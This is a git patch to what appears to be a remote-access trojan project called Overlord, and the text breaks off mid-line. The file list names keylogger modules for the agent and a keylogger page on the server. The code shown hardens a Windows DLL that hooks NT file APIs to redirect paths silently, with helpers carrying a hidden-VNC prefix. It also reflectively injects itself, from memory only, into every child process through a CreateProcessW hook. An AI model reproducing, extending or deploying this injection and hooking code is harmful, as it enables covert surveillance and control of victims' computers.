From cba42b236f050dc462f3326317266dbfa0acf3e1 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 3 Jun 2026 21:04:14 -0500 Subject: [PATCH] test --- BackstageInjection/BackstageInjection.vcxproj | 10 +- BackstageInjection/src/NtApiHooks.c | 435 +++++++++++++----- BackstageInjection/src/ReflectiveLoader.c | 10 +- BackstageInjection/src/seh_compat.h | 28 +- Overlord-Client/cmd/agent/handlers/command.go | 2 + .../cmd/agent/handlers/keylogger.go | 71 +++ .../cmd/agent/keylogger/keylogger.go | 8 + .../cmd/agent/keylogger/keylogger_darwin.go | 381 ++++++++++++++- .../agent/keylogger/keylogger_darwin_nocgo.go | 63 +++ .../cmd/agent/keylogger/keylogger_default.go | 7 + .../cmd/agent/keylogger/keylogger_disabled.go | 14 +- .../keylogger/keylogger_permission_other.go | 19 + Overlord-Client/cmd/agent/session.go | 15 +- .../public/assets/filebrowser-hex-hash.js | 18 +- .../assets/filebrowser-preview-modal.js | 5 + Overlord-Server/public/assets/filebrowser.js | 220 ++++++++- Overlord-Server/public/assets/keylogger.js | 82 +++- Overlord-Server/public/assets/main.js | 5 +- Overlord-Server/public/keylogger.html | 31 ++ Overlord-Server/src/server/build-process.ts | 2 +- .../routes/websocket-lifecycle-routes.ts | 1 + .../server/ws-file-process-proxy-keylogger.ts | 8 +- Overlord-Server/src/wsValidation.ts | 1 + 23 files changed, 1270 insertions(+), 166 deletions(-) create mode 100644 Overlord-Client/cmd/agent/keylogger/keylogger_darwin_nocgo.go create mode 100644 Overlord-Client/cmd/agent/keylogger/keylogger_permission_other.go diff --git a/BackstageInjection/BackstageInjection.vcxproj b/BackstageInjection/BackstageInjection.vcxproj index 58081c2..990cd21 100644 --- a/BackstageInjection/BackstageInjection.vcxproj +++ b/BackstageInjection/BackstageInjection.vcxproj @@ -35,13 +35,13 @@ DynamicLibrary v143 - MultiByte + Unicode true DynamicLibrary v143 - MultiByte + Unicode true @@ -59,7 +59,7 @@ DynamicLibrary v143 - MultiByte + Unicode false @@ -125,7 +125,7 @@ MinSpace OnlyExplicitInline true - WIN32;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) MultiThreaded true @@ -143,7 +143,7 @@ Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;%(PreprocessorDefinitions) + WIN32;WIN_ARM;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) true EnableFastChecks MultiThreadedDebugDLL diff --git a/BackstageInjection/src/NtApiHooks.c b/BackstageInjection/src/NtApiHooks.c index 3945fac..938d002 100644 --- a/BackstageInjection/src/NtApiHooks.c +++ b/BackstageInjection/src/NtApiHooks.c @@ -32,21 +32,40 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * #endif #endif - // Global search and replacement strings (filled from parameter) - static WCHAR g_SearchString[512] = { 0 }; - static WCHAR g_ReplacementString[512] = { 0 }; + // Global search and replacement strings (filled from environment variables). + // 2048 WCHARs (4 KB) accommodates deep UNC paths and long-path-enabled paths + // well beyond the legacy MAX_PATH of 260. + static WCHAR g_SearchString[2048] = { 0 }; + static WCHAR g_ReplacementString[2048] = { 0 }; + + // UNICODE_STRING.Length / .MaximumLength are USHORT (max 65,535 bytes = 32,767 WCHARs). + // Any replacement path longer than this cannot be represented without wrapping. + #define UNICODE_STRING_MAX_WCHARS ((SIZE_T)32767) static BOOL g_HooksInitialized = FALSE; static HANDLE g_LogFile = INVALID_HANDLE_VALUE; static HANDLE g_CrashLog = INVALID_HANDLE_VALUE; // %TEMP%\crashlogovd.log + // Both CrashLog (narrow) and CrashLogW (wide) write UTF-16LE so the file + // is a single coherent encoding. The BOM is written once when the file is + // opened (see InstallNtApiHooks). This makes paths containing Cyrillic, + // Chinese, Arabic, etc. readable in any standard text editor. void CrashLog(const char* message) { if (g_CrashLog != INVALID_HANDLE_VALUE) { DWORD written; - DWORD messageLen = (DWORD)strlen(message); - WriteFile(g_CrashLog, message, messageLen, &written, NULL); - const char newline[] = "\r\n"; - WriteFile(g_CrashLog, newline, sizeof(newline) - 1, &written, NULL); + // Convert the narrow (ASCII/UTF-8) string to UTF-16LE before writing + // so the file stays a single coherent encoding. + int wlen = MultiByteToWideChar(CP_ACP, 0, message, -1, NULL, 0); + if (wlen > 0) { + WCHAR wbuf[512]; + int copyLen = (wlen <= 512) ? wlen : 512; + MultiByteToWideChar(CP_ACP, 0, message, -1, wbuf, copyLen); + wbuf[copyLen - 1] = L'\0'; // ensure null termination + DWORD byteLen = (DWORD)(wcslen(wbuf) * sizeof(WCHAR)); + WriteFile(g_CrashLog, wbuf, byteLen, &written, NULL); + } + const WCHAR newline[] = L"\r\n"; + WriteFile(g_CrashLog, newline, (DWORD)(2 * sizeof(WCHAR)), &written, NULL); FlushFileBuffers(g_CrashLog); } } @@ -56,8 +75,8 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * DWORD written; DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR); WriteFile(g_CrashLog, message, messageLen, &written, NULL); - const char newline[] = "\r\n"; - WriteFile(g_CrashLog, newline, sizeof(newline) - 1, &written, NULL); + const WCHAR newline[] = L"\r\n"; + WriteFile(g_CrashLog, newline, (DWORD)(2 * sizeof(WCHAR)), &written, NULL); FlushFileBuffers(g_CrashLog); } } @@ -81,11 +100,19 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * #if ENABLE_DEBUG_LOGGING if (g_LogFile != INVALID_HANDLE_VALUE) { DWORD written; - DWORD messageLen = (DWORD)strlen(message); - WriteFile(g_LogFile, message, messageLen, &written, NULL); - - const char newline[] = "\r\n"; - WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL); + // Convert narrow string to UTF-16LE to keep the log file a single + // coherent encoding (UTF-16LE with BOM written at file open). + int wlen = MultiByteToWideChar(CP_ACP, 0, message, -1, NULL, 0); + if (wlen > 0) { + WCHAR wbuf[512]; + int copyLen = (wlen <= 512) ? wlen : 512; + MultiByteToWideChar(CP_ACP, 0, message, -1, wbuf, copyLen); + wbuf[copyLen - 1] = L'\0'; + DWORD byteLen = (DWORD)(wcslen(wbuf) * sizeof(WCHAR)); + WriteFile(g_LogFile, wbuf, byteLen, &written, NULL); + } + const WCHAR newline[] = L"\r\n"; + WriteFile(g_LogFile, newline, (DWORD)(2 * sizeof(WCHAR)), &written, NULL); FlushFileBuffers(g_LogFile); } #endif @@ -102,22 +129,31 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * return (result == CSTR_LESS_THAN) ? -1 : 1; } - // Helper function to normalize NT paths - skip \??\ prefix if present + // Helper function to normalize NT paths - skip \??\ prefix if present. + // + // Handled prefixes: + // \??\ — NT object namespace prefix for DOS device paths (e.g. \??\C:\...) + // \??\UNC\ — NT UNC path (e.g. \??\UNC\server\share\...) — strip only the \??\ + // leaving UNC\ visible so search/replace still matches correctly + // \??\Volume{…} — Volume GUID paths — strip only the \??\ prefix + // \Device\ — Raw device paths — left as-is (no stripping) const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) { if (!path || !adjustedLength) return path; SIZE_T length = *adjustedLength; - // Check for \??\ prefix (NT object namespace for DOS devices) + // Check for \??\ prefix (NT object namespace for DOS devices, UNC, and GUID volumes). + // Strip the 4-character prefix in all cases; the caller then sees the "canonical" + // Win32-equivalent form (C:\..., UNC\server\share\..., Volume{GUID}\...). if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') { *adjustedLength = length - 4; return path + 4; } - // Check for \Device\ or \DEVICE\ prefix - if (length >= 8 && - (wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) { - // Don't adjust - these are device paths, not file paths + // Check for \Device\ prefix (raw device path — e.g. \Device\HarddiskVolume3\...). + // Do NOT strip: these are not Win32-rooted paths and the search string is + // expected to be a Win32-style path, so the match would be spurious. + if (length >= 8 && wcsnicmp_custom(path, L"\\Device\\", 8) == 0) { return path; } @@ -350,7 +386,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * if (g_LogFile != INVALID_HANDLE_VALUE) { LogDebug(L"[NeedsRedirection] MATCH FOUND at position "); WCHAR posStr[32]; - wsprintfW(posStr, L"%zu", i); + wsprintfW(posStr, L"%Iu", i); // %Iu is the Win32 API SIZE_T format specifier; %zu is C99 CRT-only LogDebug(posStr); } return TRUE; @@ -390,8 +426,12 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * if (occurrences == 0) return NULL; - // Calculate new length (prefix + modified path) - SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen)); + // Calculate new length (prefix + modified path). + // Avoid SIZE_T unsigned underflow when replaceLen < searchLen by computing + // additions and subtractions separately (all terms are non-negative). + SIZE_T calcNewLength = prefixLength + normalizedLength + - (occurrences * searchLen) + + (occurrences * replaceLen); WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR)); if (!newPath) return NULL; @@ -460,17 +500,25 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); if (buffer) { - WCHAR tempBuf[512] = { 0 }; - SIZE_T copyLen = newLength < 511 ? newLength : 511; - wcsncpy_s(tempBuf, 512, buffer, copyLen); - LogDebug(L"[NtCreateFile] *** REDIRECTING TO: "); - LogDebug(tempBuf); + if (newLength > UNICODE_STRING_MAX_WCHARS) { + // Replacement path too long to fit in a UNICODE_STRING (USHORT + // byte-count would wrap). Skip redirection and use original path. + CrashLog("[NtCreateFile] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect"); + HeapFree(GetProcessHeap(), 0, buffer); + buffer = NULL; + } else { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtCreateFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } } else { LogDebug(L"[NtCreateFile] ReplacePath returned NULL"); @@ -528,17 +576,23 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); if (buffer) { - WCHAR tempBuf[512] = { 0 }; - SIZE_T copyLen = newLength < 511 ? newLength : 511; - wcsncpy_s(tempBuf, 512, buffer, copyLen); - LogDebug(L"[NtOpenFile] *** REDIRECTING TO: "); - LogDebug(tempBuf); + if (newLength > UNICODE_STRING_MAX_WCHARS) { + CrashLog("[NtOpenFile] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect"); + HeapFree(GetProcessHeap(), 0, buffer); + buffer = NULL; + } else { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtOpenFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } } else { LogDebug(L"[NtOpenFile] ReplacePath returned NULL"); @@ -578,11 +632,17 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); if (buffer) { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; + if (newLength > UNICODE_STRING_MAX_WCHARS) { + CrashLog("[NtDeleteFile] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect"); + HeapFree(GetProcessHeap(), 0, buffer); + buffer = NULL; + } else { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } } } } @@ -612,40 +672,81 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * ) { if (!OriginalNtSetInformationFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL + // FileRenameInformation (class 10): BOOLEAN ReplaceIfExists + HANDLE + ULONG len + WCHAR[] + // FileRenameInformationEx (class 65): ULONG Flags (32-bit bitfield) + HANDLE + ULONG len + WCHAR[] + // These have different first-field types; use separate structs to avoid truncating Flags. typedef struct { BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; + } FILE_RENAME_INFO_V1; + + typedef struct { + ULONG Flags; // FILE_RENAME_REPLACE_IF_EXISTS | FILE_RENAME_POSIX_SEMANTICS | ... HANDLE RootDirectory; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_RENAME_INFO; + ULONG FileNameLength; + WCHAR FileName[1]; + } FILE_RENAME_INFO_V2; + + WCHAR* newPath = NULL; __try { if (g_HooksInitialized && FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) { - FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation; - if (renameInfo->FileNameLength > 0) { - SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR); + // Use V1 layout to read FileNameLength (offset is the same in both structs + // after the first field + alignment). Only access FileName[], which starts + // at the same relative position in both. + FILE_RENAME_INFO_V1* renameInfoV1 = (FILE_RENAME_INFO_V1*)FileInformation; + FILE_RENAME_INFO_V2* renameInfoV2 = (FILE_RENAME_INFO_V2*)FileInformation; - if (NeedsRedirection(renameInfo->FileName, pathLength)) { + ULONG fileNameLength = (FileInformationClass == FileRenameInformation) + ? renameInfoV1->FileNameLength + : renameInfoV2->FileNameLength; + WCHAR* fileName = (FileInformationClass == FileRenameInformation) + ? renameInfoV1->FileName + : renameInfoV2->FileName; + + if (fileNameLength > 0) { + SIZE_T pathLength = fileNameLength / sizeof(WCHAR); + + if (NeedsRedirection(fileName, pathLength)) { SIZE_T newLength = 0; - WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength); + newPath = ReplacePath(fileName, pathLength, &newLength); if (newPath) { - ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR)); - FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); + ULONG newInfoSize; + LPVOID newRenameInfo = NULL; + + if (FileInformationClass == FileRenameInformation) { + newInfoSize = (ULONG)(sizeof(FILE_RENAME_INFO_V1) - sizeof(WCHAR) + newLength * sizeof(WCHAR)); + FILE_RENAME_INFO_V1* ni = (FILE_RENAME_INFO_V1*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); + if (ni) { + ni->ReplaceIfExists = renameInfoV1->ReplaceIfExists; + ni->RootDirectory = renameInfoV1->RootDirectory; + ni->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); + memcpy(ni->FileName, newPath, ni->FileNameLength); + newRenameInfo = ni; + } + } else { + newInfoSize = (ULONG)(sizeof(FILE_RENAME_INFO_V2) - sizeof(WCHAR) + newLength * sizeof(WCHAR)); + FILE_RENAME_INFO_V2* ni = (FILE_RENAME_INFO_V2*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); + if (ni) { + ni->Flags = renameInfoV2->Flags; // preserve all 32-bit flags + ni->RootDirectory = renameInfoV2->RootDirectory; + ni->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); + memcpy(ni->FileName, newPath, ni->FileNameLength); + newRenameInfo = ni; + } + } + + HeapFree(GetProcessHeap(), 0, newPath); + newPath = NULL; if (newRenameInfo) { - newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists; - newRenameInfo->RootDirectory = renameInfo->RootDirectory; - newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); - memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength); - NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass); - HeapFree(GetProcessHeap(), 0, newRenameInfo); - HeapFree(GetProcessHeap(), 0, newPath); return result; } - HeapFree(GetProcessHeap(), 0, newPath); } } } @@ -653,6 +754,8 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * } __except (EXCEPTION_EXECUTE_HANDLER) { char _excMsg[64]; sprintf_s(_excMsg, 64, "[HOOK] NtSetInfoFile exception: 0x%X", GetExceptionCode()); CrashLog(_excMsg); + // Free newPath if an exception fires after allocation but before the HeapFree below. + if (newPath) { HeapFree(GetProcessHeap(), 0, newPath); newPath = NULL; } } return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass); @@ -677,11 +780,17 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); if (buffer) { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; + if (newLength > UNICODE_STRING_MAX_WCHARS) { + CrashLog("[NtQueryAttribs] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect"); + HeapFree(GetProcessHeap(), 0, buffer); + buffer = NULL; + } else { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } } } } @@ -721,11 +830,17 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); if (buffer) { - originalString = ObjectAttributes->ObjectName; - newString.Buffer = buffer; - newString.Length = (USHORT)(newLength * sizeof(WCHAR)); - newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); - ObjectAttributes->ObjectName = &newString; + if (newLength > UNICODE_STRING_MAX_WCHARS) { + CrashLog("[NtQueryFullAttribs] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect"); + HeapFree(GetProcessHeap(), 0, buffer); + buffer = NULL; + } else { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } } } } @@ -795,7 +910,11 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * return rva - virtualAddr + rawDataPtr; } } - if (numSections > 0) { + // Fallback: if the RVA falls before any section's raw data it maps 1:1. + // Guard the read of the first section's PointerToRawData (offset +20) so a + // malformed or truncated PE with sectionOff near the end of the buffer does + // not produce an out-of-bounds read. + if (numSections > 0 && sectionOff + 24 <= peSize) { DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20); if (rva < firstRawPtr) return rva; } @@ -833,6 +952,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * if (exportDirRVA == 0) return 0; DWORD sectionOff = optOff + sizeOfOptionalHeader; + // sizeOfOptionalHeader is an untrusted WORD from the PE header. If it is + // abnormally large, sectionOff would exceed peSize and every subsequent + // _rva2fo call and section-table read would be out-of-bounds. + if (sectionOff > peSize) return 0; // RVA to file offset helper (inline) #define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections) @@ -840,6 +963,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0; DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24); + // A legitimately built DLL will have far fewer than 65536 exports. Cap the + // value to prevent integer overflow in the loop index arithmetic (i * 4) when + // the PE contains an abnormally large numberOfNames. + if (numberOfNames > 0x10000) return 0; DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28); DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32); DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36); @@ -914,13 +1041,26 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * } DWORD waitResult = WaitForSingleObject(hThread, 30000); - if (waitResult == WAIT_TIMEOUT) { - CrashLog("[ChildInject] WARN: loader thread timed out (30s)"); - } else { - CrashLog("[ChildInject] OK: child injection completed"); - } CloseHandle(hThread); - return TRUE; + + if (waitResult == WAIT_OBJECT_0) { + CrashLog("[ChildInject] OK: child injection completed"); + return TRUE; + } else if (waitResult == WAIT_TIMEOUT) { + // The loader thread is still running. Returning FALSE causes + // HookedCreateProcessW to resume the child with a comment noting that + // hooks may not be fully installed yet (fail-open policy: we still + // resume to avoid leaving the child process permanently suspended). + CrashLog("[ChildInject] WARN: loader thread timed out after 30s — hooks may not be active in child"); + LogDebug(L"[ChildInject] Loader thread timeout — child will resume without guaranteed hooks"); + return FALSE; + } else { + // WAIT_FAILED or any unexpected value + char msg[128]; + sprintf_s(msg, 128, "[ChildInject] FAIL: WaitForSingleObject error 0x%lX", GetLastError()); + CrashLog(msg); + return FALSE; + } } BOOL WINAPI HookedCreateProcessW( @@ -937,7 +1077,15 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * ) { if (!OriginalCreateProcessW) return FALSE; - if (!g_HooksInitialized || !g_DllRawBytes || g_DllRawSize == 0) { + // Snapshot g_DllRawBytes / g_DllRawSize into locals *before* any check. + // RemoveNtApiHooks() can race here: it calls UnmapViewOfFile(g_DllRawBytes) + // and sets g_DllRawBytes = NULL on DLL_PROCESS_DETACH. Without the snapshot, + // a TOCTOU between the NULL-check below and the use inside ReflectiveInjectIntoChild + // would pass the now-unmapped pointer to WriteProcessMemory, causing an AV. + const BYTE* localDllBytes = (const BYTE*)g_DllRawBytes; + DWORD localDllSize = g_DllRawSize; + + if (!g_HooksInitialized || !localDllBytes || localDllSize == 0) { return OriginalCreateProcessW( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, @@ -961,8 +1109,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * if (result && lpProcessInformation) { CrashLog("[CreateProcessW] Injecting DLL into child process..."); LogDebug(L"[CreateProcessW] Reflective-injecting DLL into child process"); - if (!ReflectiveInjectIntoChild(lpProcessInformation->hProcess, - (const BYTE*)g_DllRawBytes, g_DllRawSize)) { + BOOL injected = ReflectiveInjectIntoChild(lpProcessInformation->hProcess, + localDllBytes, localDllSize); + if (!injected) { CrashLog("[CreateProcessW] Child injection FAILED"); LogDebug(L"[CreateProcessW] Child injection failed"); } else { @@ -970,7 +1119,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * LogDebug(L"[CreateProcessW] Child injection succeeded"); } - // Always resume the child if we suspended it — don't leave zombie processes + // Always resume the child if we suspended it — don't leave zombie processes. + // Even if injection failed we resume; the child runs without hooks rather than + // hanging forever (fail-open policy). if (!wasSuspended) { ResumeThread(lpProcessInformation->hThread); } @@ -984,9 +1135,16 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * // Use a global try-catch to prevent any crashes __try { __try { - WCHAR crashLogPath[512]; - ExpandEnvironmentStringsW(L"%TEMP%\\crashlogovd.log", crashLogPath, 512); + WCHAR crashLogPath[1024]; + ExpandEnvironmentStringsW(L"%TEMP%\\crashlogovd.log", crashLogPath, 1024); g_CrashLog = CreateFileW(crashLogPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (g_CrashLog != INVALID_HANDLE_VALUE) { + // Write UTF-16LE BOM so all log entries (including wide paths) are + // readable in any standard text editor on non-English systems. + DWORD written; + const WCHAR bom = 0xFEFF; + WriteFile(g_CrashLog, &bom, sizeof(WCHAR), &written, NULL); + } } __except (EXCEPTION_EXECUTE_HANDLER) { g_CrashLog = INVALID_HANDLE_VALUE; @@ -996,10 +1154,16 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * #if ENABLE_DEBUG_LOGGING // Enable verbose logging for debugging - WCHAR logPath[512]; + WCHAR logPath[1024]; __try { - ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512); + ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 1024); g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (g_LogFile != INVALID_HANDLE_VALUE) { + // Write UTF-16LE BOM for consistent encoding across all log entries. + DWORD written; + const WCHAR bom = 0xFEFF; + WriteFile(g_LogFile, &bom, sizeof(WCHAR), &written, NULL); + } } __except (EXCEPTION_EXECUTE_HANDLER) { g_LogFile = INVALID_HANDLE_VALUE; @@ -1021,20 +1185,34 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * // Try to get configuration from environment variables __try { - WCHAR envSearchString[512] = { 0 }; - WCHAR envReplaceString[512] = { 0 }; + // Use the same capacity as the global g_SearchString / g_ReplacementString + // buffers (2048 WCHARs) so that very long paths are never silently truncated. + // GetEnvironmentVariableW returns 0 on error; if the return value equals the + // buffer size, the value was truncated — treat that as an error and log it. + WCHAR envSearchString[2048] = { 0 }; + WCHAR envReplaceString[2048] = { 0 }; - DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512); - DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512); + DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 2048); + DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 2048); - if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) { + // A return value >= buffer capacity means the value was truncated. + if (searchLen >= 2048) { + CrashLog("[ENV] WARN: RDI_SEARCH_PATH is >= 2048 chars and was truncated — path redirection disabled"); + searchLen = 0; + } + if (replaceLen >= 2048) { + CrashLog("[ENV] WARN: RDI_REPLACE_PATH is >= 2048 chars and was truncated — path redirection disabled"); + replaceLen = 0; + } + + if (searchLen > 0 && replaceLen > 0) { CrashLog("[ENV] Search/Replace paths found"); CrashLogW(envSearchString); CrashLog(" -> "); CrashLogW(envReplaceString); - wcsncpy_s(g_SearchString, 512, envSearchString, searchLen); + wcsncpy_s(g_SearchString, 2048, envSearchString, searchLen); g_SearchString[searchLen] = L'\0'; - wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen); + wcsncpy_s(g_ReplacementString, 2048, envReplaceString, replaceLen); g_ReplacementString[replaceLen] = L'\0'; if (g_LogFile != INVALID_HANDLE_VALUE) { @@ -1057,18 +1235,45 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * } } - // Read DLL section for child process injection (in-memory, no file on disk) + // Read DLL section for child process injection (in-memory, no file on disk). + // Section names are kernel object names — MAX_PATH (260) is more than enough, + // but we use 512 to be safe. DLL size is a plain decimal number, 32 is ample. WCHAR envSectionName[512] = { 0 }; WCHAR envDllSize[32] = { 0 }; DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512); - DWORD dllSizeLen = 